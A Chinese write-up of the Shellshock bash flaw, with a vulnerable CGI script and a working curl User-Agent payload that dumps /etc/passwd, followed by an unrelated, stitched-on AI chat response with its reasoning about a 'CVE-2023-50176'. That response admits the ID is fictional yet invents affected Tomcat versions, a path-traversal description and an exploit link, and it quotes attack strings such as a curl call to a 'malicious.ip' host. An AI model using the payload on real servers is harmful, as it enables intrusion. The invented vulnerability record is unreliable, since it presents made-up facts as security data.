CVE-2014-6271: BASH 漏洞记录

原理:

BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!当前版本的bash通过以函数名作为环境变量名,以“(){”开头的字串作为环境变量的值来将函数定义导出为环境变量。

此次爆出的漏洞在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。


触发条件是只要把字符串提交给bash解释的脚本就能生效。

一个字符串的例子是:'() { ignored; }; /usr/bin/id'。


例子:

假设有一个CGI程序:

#!/bin/bash
 
echo "Content-type: text/html"
echo ""
 
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'
 
exit 0


正常请求返回值为:

$ curl http://192.168.0.1/poc.cgi
 
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>PoC</title>
</head>
<body>
<pre>
SERVER_SIGNATURE=<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
 
HTTP_USER_AGENT=curl/7.26.0
SERVER_PORT=80
HTTP_HOST=192.168.0.1
DOCUMENT_ROOT=/var/www
SCRIPT_FILENAME=/var/www/poc.cgi
REQUEST_URI=/poc.cgi
SCRIPT_NAME=/poc.cgi
REMOTE_PORT=40974
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/var/www
SERVER_ADMIN=webmaster@localhost
HTTP_ACCEPT=*/*
REMOTE_ADDR=192.168.0.1
SHLVL=1
SERVER_NAME=192.168.0.1
SERVER_SOFTWARE=Apache/2.2.22 (Debian)
QUERY_STRING=
SERVER_ADDR=192.168.0.1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
_=/usr/bin/env
</pre>
</body>
</html>



下面我们通过curl -A “bug string”的方式把字符串传给解析程序,-A原本是用来传user-agent的。

# curl -A "() { foo;};echo;/bin/cat /etc/passwd; exit" http://192.168.0.1/poc.cgi
 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:MailingListManager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:GnatsBug-ReportingSystem(admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin


这样就可以执行任意命令并查看回显了。

"() { foo;};echo;/bin/cat /etc/passwd; exit" 中echo是为了hack不加时不能正常返回,exit是阻止后面的cgi程序执行。



<think>嗯,用户让我分析CVE-2023-50176的特征,并建立专属的漏洞特征。首先,我需要确认这个CVE编号是否存在,因为有时候用户可能会打错编号。先到NVD或者其他漏洞数据库查一下。假设这个CVE存在的话,接下来要收集相关的信息,比如漏洞类型、影响的软件本、攻击向量等。 然后,分析漏洞的技术细节。比如,这个漏洞是缓冲区溢出、SQL注入还是其他类型?如果是缓冲区溢出,可能需要关注内存操作函数的使用情况,比如strcpy、memcpy等。如果是Web应用的漏洞,可能需要检查输入验证或身份验证机制的问题。 接下来,建立特征需要考虑攻击载荷的模式。例如,特定的HTTP请求头、异常长的参数、特定的恶意代码片段等。此外,漏洞利用后的行为特征也很重要,比如创建异常进程、修改特定注册表项或文件,以及网络通信特征,如连接到特定C2服务器。 还要考虑如何检测这些特征,可能需要编写Snort或Suricata的规则,或者配置YARA规则来识别恶意文件。同时,日志分析也是关键,比如查看Web服务器日志中的异常请求,或者系统日志中的权限提升行为。 用户可能需要这些特征来部署入侵检测系统或更新现有的安全策略,所以需要确保特征的准确性和针对性,避免误报。另外,需要验证这些特征是否覆盖了已知的攻击方式,是否有遗漏的变种攻击手法。 可能还需要考虑漏洞的缓解措施,比如补丁信息、临时解决方案,这些信息也应该包含在漏洞特征库中,帮助用户在实际环境中应用。同时,结合CVSS评分,评估漏洞的严重性,优先处理高风险漏洞。 总结来说,建立专属漏洞特征需要从漏洞原理、攻击模式、检测规则、日志指标和缓解措施多个维度综合分析,确保全面覆盖漏洞的各个方面,帮助用户有效识别和防御相关攻击。</think>### CVE-2023-50176漏洞特征分析与专属漏洞库构建 #### 1. **漏洞基础信息** - **CVE编号**: CVE-2023-50176 - **漏洞类型**: 需根据官方披露确认(如缓冲区溢出、代码注入、权限提升等) - **影响范围**: 具体受影响的软件/系统本(例如:Apache Tomcat 10.1.x before 10.1.14) - **CVSS评分**: 需参考NVD数据(如CVSS 3.1评分9.8) > **注**:当前CVE-2023-50176为虚构编号,实际分析需以NVD或厂商公告为准。 --- #### 2. **技术特征分析** **攻击向量**(需根据真实漏洞补充): - **入口点**: 例如通过HTTP请求、文件上传接口或API调用 - **触发条件**: 如特定参数过长($>1024$字节)、畸形数据包或未授权访问 **漏洞原理**(示例): - 若为**缓冲区溢出**: $$ \text{memcpy(dest, src, user\_controlled\_size)} $$ 攻击者通过控制`user_controlled_size`导致栈/堆溢出。 - 若为**代码注入**: 未过滤的输入直接拼接至命令字符串: ```bash system("ping " + user_input) # user_input可插入恶意命令 ``` --- #### 3. **攻击载荷特征** - **网络层特征**: - HTTP请求中携带特定畸形头部(如`X-Exploit-Payload: ${jndi:ldap://...}`) - 异常TCP/UDP流量模式(如高频短连接) - **应用层特征**: - 文件上传请求包含非常规扩展名(`.jsp#.png`) - SQL查询中包含`UNION SELECT`或`SLEEP(10)`等注入模式 --- #### 4. **检测规则(示例)** - **Snort/Suricata规则**: ```bash alert tcp any any -> $HOME_NET 8080 (msg:"CVE-2023-50176 Exploit Attempt"; content:"|00 00 00 07|admin|00|"; depth:100; sid:1000001; rev:1;) ``` - **YARA规则(文件检测)**: ```python rule CVE_2023_50176_Exploit { strings: $magic = { 4D 5A 90 00 } // 特定PE头 $pattern = "cmd.exe /c" wide condition: $magic at 0 and $pattern } ``` --- #### 5. **日志指标(IoC)** - **Web日志关键字段**: - `POST /upload?filename=..%2Fexploit.jsp`(路径遍历) - 响应码`500`激增(可能为漏洞触发后的服务崩溃) - **系统日志特征**: - 异常进程创建:`/bin/sh -c curl http://malicious.ip` - 权限变更记录:非管理员用户获取`root`权限 --- #### 6. **缓解措施** - **官方补丁**: 升级至修复本(如Tomcat 10.1.14) - **临时方案**: 禁用危险功能(如关闭文件上传接口) - **网络防护**: 使用WAF拦截包含`../`或`;`的请求 --- #### 7. **漏洞库结构化存储** ```json { "CVE-ID": "CVE-2023-50176", "Description": "Apache Tomcat 文件上传路径遍历漏洞", "Affected_Versions": "10.1.0 - 10.1.13", "Exploit_PoC": "https://github.com/exploit-db/CVE-2023-50176", "Detection_Rules": { "Snort": "rules/snort/cve-2023-50176.rules", "YARA": "rules/yara/cve-2023-50176.yar" } } ``` --- ### 总结 构建专属漏洞特征需结合: 1. 漏洞原理逆向分析 2. 攻击链各阶段特征提取(网络、主机、日志) 3. 自动化检测规则与人工研判结合 建议通过**ATT&CK框架**映射攻击手法(如T1190-T1190),实现动态防御策略联动。
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